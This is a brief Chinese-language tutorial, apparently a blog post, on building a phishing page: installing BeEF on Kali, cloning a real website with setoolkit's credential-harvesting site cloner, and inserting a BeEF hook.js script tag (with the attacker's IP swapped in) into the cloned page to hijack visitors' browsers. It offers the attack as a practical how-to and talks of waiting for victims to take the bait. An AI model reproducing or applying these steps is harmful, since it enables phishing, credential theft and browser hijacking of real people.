一.beef安装
1.输入命令行进行安装

apt-get install beef-xss
2.若安装不好根据提示输入命令

apt-get install beef-xss --fix-missing
3.运行Beef-xss(运行结束后自动跳转到beef-xss界面)
beef-xss初始账号密码均为：beef（可以进行修改）

 

 

4*.在后续运行beef时有些人可能会忘记密码，就像我这种傻子，但是不用怕直接把下面的命令输进去,就可以看到你的账户密码了
二.setoolkit制作钓鱼网站
1.在终端运行setoolkit
2.依次进行以下步骤
（1）社会工程学攻击

（2）网页攻击

（3）凭证收集攻击方法

（4）网站克隆器

（5）找到一个网址并复制进去

三.钓鱼页面与beef结合
在终端显示的beef-xss界面中会出现下面语句

<script src="http://127.0.0.1:3000/hook.js"></script>

1.在终端输入以显示刚才复制的前端页面

vim ~/.set/web_clone/index.html

2.<script src="http://127.0.0.1:3000/hook.js"></script>把ip改为自己的ip地址并插入前端页面下面就可以在beef 里可以等鱼儿上钩了。

本章比较简洁请根据自己需求使用